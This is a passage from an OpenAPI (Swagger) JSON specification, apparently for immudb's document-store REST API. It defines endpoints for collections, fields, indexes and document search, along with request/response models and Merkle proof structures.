\"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelInsertDocumentsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{collectionName}/field\": {\n      \"post\": {\n        \"operationId\": \"AddField\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelAddFieldResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelAddFieldRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{collectionName}/field/{fieldName}\": {\n      \"delete\": {\n        \"operationId\": \"RemoveField\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelRemoveFieldResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"fieldName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{collectionName}/index\": {\n      \"delete\": {\n        \"operationId\": \"DeleteIndex\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelDeleteIndexResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"fields\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"array\",\n            \"items\": {\n              \"type\": \"string\"\n            },\n            \"collectionFormat\": \"multi\"\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      },\n      \"post\": {\n        \"operationId\": \"CreateIndex\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCreateIndexResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCreateIndexRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{name}\": {\n      \"get\": {\n        \"operationId\": \"GetCollection\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelGetCollectionResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"name\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      },\n      \"delete\": {\n        \"operationId\": \"DeleteCollection\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelDeleteCollectionResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"name\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      },\n      \"post\": {\n        \"operationId\": \"CreateCollection\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCreateCollectionResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"name\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCreateCollectionRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      },\n      \"put\": {\n        \"operationId\": \"UpdateCollection\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelUpdateCollectionResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"name\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelUpdateCollectionRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{query.collectionName}/documents/count\": {\n      \"post\": {\n        \"operationId\": \"CountDocuments\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCountDocumentsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"query.collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelCountDocumentsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{query.collectionName}/documents/delete\": {\n      \"post\": {\n        \"operationId\": \"DeleteDocuments\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelDeleteDocumentsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"query.collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelDeleteDocumentsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{query.collectionName}/documents/replace\": {\n      \"put\": {\n        \"operationId\": \"ReplaceDocuments\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelReplaceDocumentsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"query.collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelReplaceDocumentsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collection/{query.collectionName}/documents/search\": {\n      \"post\": {\n        \"operationId\": \"SearchDocuments\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelSearchDocumentsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"query.collectionName\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelSearchDocumentsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    },\n    \"/collections\": {\n      \"get\": {\n        \"operationId\": \"GetCollections\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/modelGetCollectionsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"documents\"\n        ]\n      }\n    }\n  },\n  \"definitions\": {\n    \"immudbmodelOpenSessionRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"username\": {\n          \"type\": \"string\"\n        },\n        \"password\": {\n          \"type\": \"string\"\n        },\n        \"database\": {\n          \"type\": \"string\"\n        }\n      }\n    },\n    \"immudbmodelOpenSessionResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sessionID\": {\n          \"type\": \"string\"\n        },\n        \"serverUUID\": {\n          \"type\": \"string\"\n        },\n        \"expirationTimestamp\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\"\n        },\n        \"inactivityTimestamp\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\"\n        }\n      }\n    },\n    \"modelAddFieldRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collectionName\": {\n          \"type\": \"string\"\n        },\n        \"field\": {\n          \"$ref\": \"#/definitions/modelField\"\n        }\n      },\n      \"required\": [\n        \"collectionName\",\n        \"field\"\n      ]\n    },\n    \"modelAddFieldResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelAuditDocumentRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collectionName\": {\n          \"type\": \"string\"\n        },\n        \"documentId\": {\n          \"type\": \"string\"\n        },\n        \"desc\": {\n          \"type\": \"boolean\"\n        },\n        \"page\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        },\n        \"pageSize\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        },\n        \"omitPayload\": {\n          \"type\": \"boolean\"\n        }\n      },\n      \"required\": [\n        \"collectionName\",\n        \"documentId\",\n        \"desc\",\n        \"page\",\n        \"pageSize\",\n        \"omitPayload\"\n      ]\n    },\n    \"modelAuditDocumentResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"revisions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelDocumentAtRevision\"\n          }\n        }\n      },\n      \"required\": [\n        \"revisions\"\n      ]\n    },\n    \"modelCloseSessionRequest\": {\n      \"type\": \"object\"\n    },\n    \"modelCloseSessionResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelCollection\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\"\n        },\n        \"documentIdFieldName\": {\n          \"type\": \"string\"\n        },\n        \"fields\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelField\"\n          }\n        },\n        \"indexes\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelIndex\"\n          }\n        }\n      },\n      \"required\": [\n        \"name\",\n        \"documentIdFieldName\",\n        \"fields\",\n        \"indexes\"\n      ]\n    },\n    \"modelComparisonOperator\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"EQ\",\n        \"NE\",\n        \"LT\",\n        \"LE\",\n        \"GT\",\n        \"GE\",\n        \"LIKE\",\n        \"NOT_LIKE\"\n      ],\n      \"default\": \"EQ\"\n    },\n    \"modelCountDocumentsRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"query\": {\n          \"$ref\": \"#/definitions/modelQuery\"\n        }\n      },\n      \"required\": [\n        \"query\"\n      ]\n    },\n    \"modelCountDocumentsResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"count\": {\n          \"type\": \"string\",\n          \"format\": \"int64\"\n        }\n      },\n      \"required\": [\n        \"count\"\n      ]\n    },\n    \"modelCreateCollectionRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\"\n        },\n        \"documentIdFieldName\": {\n          \"type\": \"string\"\n        },\n        \"fields\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelField\"\n          }\n        },\n        \"indexes\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelIndex\"\n          }\n        }\n      },\n      \"required\": [\n        \"name\",\n        \"documentIdFieldName\"\n      ]\n    },\n    \"modelCreateCollectionResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelCreateIndexRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collectionName\": {\n          \"type\": \"string\"\n        },\n        \"fields\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\"\n          }\n        },\n        \"isUnique\": {\n          \"type\": \"boolean\"\n        }\n      },\n      \"required\": [\n        \"collectionName\",\n        \"fields\",\n        \"isUnique\"\n      ]\n    },\n    \"modelCreateIndexResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelDeleteCollectionResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelDeleteDocumentsRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"query\": {\n          \"$ref\": \"#/definitions/modelQuery\"\n        }\n      },\n      \"required\": [\n        \"query\"\n      ]\n    },\n    \"modelDeleteDocumentsResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelDeleteIndexResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelDocumentAtRevision\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"transactionId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        },\n        \"documentId\": {\n          \"type\": \"string\"\n        },\n        \"revision\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/modelDocumentMetadata\"\n        },\n        \"document\": {\n          \"type\": \"object\"\n        },\n        \"username\": {\n          \"type\": \"string\"\n        },\n        \"ts\": {\n          \"type\": \"string\",\n          \"format\": \"int64\"\n        }\n      },\n      \"required\": [\n        \"transactionId\",\n        \"documentId\",\n        \"revision\"\n      ]\n    },\n    \"modelDocumentMetadata\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"deleted\": {\n          \"type\": \"boolean\"\n        }\n      },\n      \"required\": [\n        \"deleted\"\n      ]\n    },\n    \"modelField\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\"\n        },\n        \"type\": {\n          \"$ref\": \"#/definitions/modelFieldType\"\n        }\n      },\n      \"required\": [\n        \"name\",\n        \"type\"\n      ]\n    },\n    \"modelFieldComparison\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"field\": {\n          \"type\": \"string\"\n        },\n        \"operator\": {\n          \"$ref\": \"#/definitions/modelComparisonOperator\"\n        },\n        \"value\": {\n          \"type\": \"object\"\n        }\n      },\n      \"required\": [\n        \"field\",\n        \"operator\",\n        \"value\"\n      ]\n    },\n    \"modelFieldType\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"STRING\",\n        \"BOOLEAN\",\n        \"INTEGER\",\n        \"DOUBLE\",\n        \"UUID\"\n      ],\n      \"default\": \"STRING\"\n    },\n    \"modelGetCollectionResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collection\": {\n          \"$ref\": \"#/definitions/modelCollection\"\n        }\n      },\n      \"required\": [\n        \"collection\"\n      ]\n    },\n    \"modelGetCollectionsResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collections\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelCollection\"\n          }\n        }\n      },\n      \"required\": [\n        \"collections\"\n      ]\n    },\n    \"modelIndex\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"fields\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\"\n          }\n        },\n        \"isUnique\": {\n          \"type\": \"boolean\"\n        }\n      },\n      \"required\": [\n        \"fields\",\n        \"isUnique\"\n      ]\n    },\n    \"modelInsertDocumentsRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collectionName\": {\n          \"type\": \"string\"\n        },\n        \"documents\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"object\"\n          }\n        }\n      },\n      \"required\": [\n        \"collectionName\",\n        \"documents\"\n      ]\n    },\n    \"modelInsertDocumentsResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"transactionId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        },\n        \"documentIds\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"required\": [\n        \"transactionId\",\n        \"documentIds\"\n      ]\n    },\n    \"modelKeepAliveRequest\": {\n      \"type\": \"object\"\n    },\n    \"modelKeepAliveResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelOrderByClause\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"field\": {\n          \"type\": \"string\"\n        },\n        \"desc\": {\n          \"type\": \"boolean\"\n        }\n      },\n      \"required\": [\n        \"field\",\n        \"desc\"\n      ]\n    },\n    \"modelProofDocumentRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collectionName\": {\n          \"type\": \"string\"\n        },\n        \"documentId\": {\n          \"type\": \"string\"\n        },\n        \"transactionId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        },\n        \"proofSinceTransactionId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        }\n      },\n      \"required\": [\n        \"collectionName\",\n        \"documentId\",\n        \"transactionId\",\n        \"proofSinceTransactionId\"\n      ]\n    },\n    \"modelProofDocumentResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\"\n        },\n        \"collectionId\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        },\n        \"documentIdFieldName\": {\n          \"type\": \"string\"\n        },\n        \"encodedDocument\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"verifiableTx\": {\n          \"$ref\": \"#/definitions/schemaVerifiableTxV2\"\n        }\n      },\n      \"required\": [\n        \"database\",\n        \"collectionId\",\n        \"documentIdFieldName\",\n        \"encodedDocument\",\n        \"verifiableTx\"\n      ]\n    },\n    \"modelQuery\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"collectionName\": {\n          \"type\": \"string\"\n        },\n        \"expressions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelQueryExpression\"\n          }\n        },\n        \"orderBy\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelOrderByClause\"\n          }\n        },\n        \"limit\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        }\n      },\n      \"required\": [\n        \"collectionName\",\n        \"expressions\"\n      ]\n    },\n    \"modelQueryExpression\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"fieldComparisons\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelFieldComparison\"\n          }\n        }\n      },\n      \"required\": [\n        \"fieldComparisons\"\n      ]\n    },\n    \"modelRemoveFieldResponse\": {\n      \"type\": \"object\"\n    },\n    \"modelReplaceDocumentsRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"query\": {\n          \"$ref\": \"#/definitions/modelQuery\"\n        },\n        \"document\": {\n          \"type\": \"object\"\n        }\n      },\n      \"required\": [\n        \"query\",\n        \"document\"\n      ]\n    },\n    \"modelReplaceDocumentsResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"revisions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelDocumentAtRevision\"\n          }\n        }\n      },\n      \"required\": [\n        \"revisions\"\n      ]\n    },\n    \"modelSearchDocumentsRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"searchId\": {\n          \"type\": \"string\"\n        },\n        \"query\": {\n          \"$ref\": \"#/definitions/modelQuery\"\n        },\n        \"page\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        },\n        \"pageSize\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        },\n        \"keepOpen\": {\n          \"type\": \"boolean\"\n        }\n      },\n      \"required\": [\n        \"searchId\",\n        \"query\",\n        \"page\",\n        \"pageSize\"\n      ]\n    },\n    \"modelSearchDocumentsResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"searchId\": {\n          \"type\": \"string\"\n        },\n        \"revisions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/modelDocumentAtRevision\"\n          }\n        }\n      },\n      \"required\": [\n        \"searchId\",\n        \"revisions\"\n      ]\n    },\n    \"modelUpdateCollectionRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\"\n        },\n        \"documentIdFieldName\": {\n          \"type\": \"string\"\n        }\n      },\n      \"required\": [\n        \"name\",\n        \"documentIdFieldName\"\n      ]\n    },\n    \"modelUpdateCollectionResponse\": {\n      \"type\": \"object\"\n    },\n    \"protobufAny\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"type_url\": {\n          \"type\": \"string\",\n          \"description\": \"A URL/resource name that uniquely identifies the type of the serialized\\nprotocol buffer message. This string must contain at least\\none \\\"/\\\" character. The last segment of the URL's path must represent\\nthe fully qualified name of the type (as in\\n`path/google.protobuf.Duration`). The name should be in a canonical form\\n(e.g., leading \\\".\\\" is not accepted).\\n\\nIn practice, teams usually precompile into the binary all types that they\\nexpect it to use in the context of Any. However, for URLs which use the\\nscheme `http`, `https`, or no scheme, one can optionally set up a type\\nserver that maps type URLs to message definitions as follows:\\n\\n* If no scheme is provided, `https` is assumed.\\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\\n  value in binary format, or produce an error.\\n* Applications are allowed to cache lookup results based on the\\n  URL, or have them precompiled into a binary to avoid any\\n  lookup. Therefore, binary compatibility needs to be preserved\\n  on changes to types. (Use versioned type names to manage\\n  breaking changes.)\\n\\nNote: this functionality is not currently available in the official\\nprotobuf release, and it is not used for type URLs beginning with\\ntype.googleapis.com.\\n\\nSchemes other than `http`, `https` (or the empty scheme) might be\\nused with implementation specific semantics.\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"description\": \"Must be a valid serialized protocol buffer of the above specified type.\"\n        }\n      },\n      \"description\": \"`Any` contains an arbitrary serialized protocol buffer message along with a\\nURL that describes the type of the serialized message.\\n\\nProtobuf library provides support to pack/unpack Any values in the form\\nof utility functions or additional generated methods of the Any type.\\n\\nExample 1: Pack and unpack a message in C++.\\n\\n    Foo foo = ...;\\n    Any any;\\n    any.PackFrom(foo);\\n    ...\\n    if (any.UnpackTo(\\u0026foo)) {\\n      ...\\n    }\\n\\nExample 2: Pack and unpack a message in Java.\\n\\n    Foo foo = ...;\\n    Any any = Any.pack(foo);\\n    ...\\n    if (any.is(Foo.class)) {\\n      foo = any.unpack(Foo.class);\\n    }\\n\\nExample 3: Pack and unpack a message in Python.\\n\\n    foo = Foo(...)\\n    any = Any()\\n    any.Pack(foo)\\n    ...\\n    if any.Is(Foo.DESCRIPTOR):\\n      any.Unpack(foo)\\n      ...\\n\\nExample 4: Pack and unpack a message in Go\\n\\n     foo := \\u0026pb.Foo{...}\\n     any, err := anypb.New(foo)\\n     if err != nil {\\n       ...\\n     }\\n     ...\\n     foo := \\u0026pb.Foo{}\\n     if err := any.UnmarshalTo(foo); err != nil {\\n       ...\\n     }\\n\\nThe pack methods provided by protobuf library will by default use\\n'type.googleapis.com/full.type.name' as the type URL and the unpack\\nmethods only use the fully qualified type name after the last '/'\\nin the type URL, for example \\\"foo.bar.com/x/y.z\\\" will yield type\\nname \\\"y.z\\\".\\n\\n\\nJSON\\n\\nThe JSON representation of an `Any` value uses the regular\\nrepresentation of the deserialized, embedded message, with an\\nadditional field `@type` which contains the type URL. Example:\\n\\n    package google.profile;\\n    message Person {\\n      string first_name = 1;\\n      string last_name = 2;\\n    }\\n\\n    {\\n      \\\"@type\\\": \\\"type.googleapis.com/google.profile.Person\\\",\\n      \\\"firstName\\\": \\u003cstring\\u003e,\\n      \\\"lastName\\\": \\u003cstring\\u003e\\n    }\\n\\nIf the embedded message type is well-known and has a custom JSON\\nrepresentation, that representation will be embedded adding a field\\n`value` which holds the custom JSON in addition to the `@type`\\nfield. Example (for message [google.protobuf.Duration][]):\\n\\n    {\\n      \\\"@type\\\": \\\"type.googleapis.com/google.protobuf.Duration\\\",\\n      \\\"value\\\": \\\"1.212s\\\"\\n    }\"\n    },\n    \"protobufNullValue\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"NULL_VALUE\"\n      ],\n      \"default\": \"NULL_VALUE\",\n      \"description\": \"`NullValue` is a singleton enumeration to represent the null value for the\\n`Value` type union.\\n\\n The JSON representation for `NullValue` is JSON `null`.\\n\\n - NULL_VALUE: Null value.\"\n    },\n    \"runtimeError\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"error\": {\n          \"type\": \"string\"\n        },\n        \"code\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\"\n        },\n        \"message\": {\n          \"type\": \"string\"\n        },\n        \"details\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/protobufAny\"\n          }\n        }\n      }\n    },\n    \"schemaDualProofV2\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sourceTxHeader\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Header of the source (earlier) transaction\"\n        },\n        \"targetTxHeader\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Header of the target (latter) transaction\"\n        },\n        \"inclusionProof\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"Inclusion proof of the source transaction hash in the main Merkle Tree\"\n        },\n        \"consistencyProof\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"Consistency proof between Merkle Trees in the source and target transactions\"\n        }\n      },\n      \"title\": \"DualProofV2 contains inclusion and consistency proofs\"\n    },\n    \"schemaEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Transaction id at which the target value was set (i.e. not the reference transaction id)\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Key of the target value (i.e. not the reference entry)\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Value\"\n        },\n        \"referencedBy\": {\n          \"$ref\": \"#/definitions/schemaReference\",\n          \"title\": \"If the request was for a reference, this field will keep information about the reference entry\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Metadata of the target entry (i.e. not the reference entry)\"\n        },\n        \"expired\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, this entry has expired and the value is not retrieved\"\n        },\n        \"revision\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Key's revision, in case of GetAt it will be 0\"\n        }\n      }\n    },\n    \"schemaExpiration\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"expiresAt\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"Entry expiration time (unix timestamp in seconds)\"\n        }\n      }\n    },\n    \"schemaKVMetadata\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"deleted\": {\n          \"type\": \"boolean\",\n          \"title\": \"True if this entry denotes a logical deletion\"\n        },\n        \"expiration\": {\n          \"$ref\": \"#/definitions/schemaExpiration\",\n          \"title\": \"Entry expiration information\"\n        },\n        \"nonIndexable\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, this entry will not be indexed and will only be accessed through GetAt calls\"\n        }\n      }\n    },\n    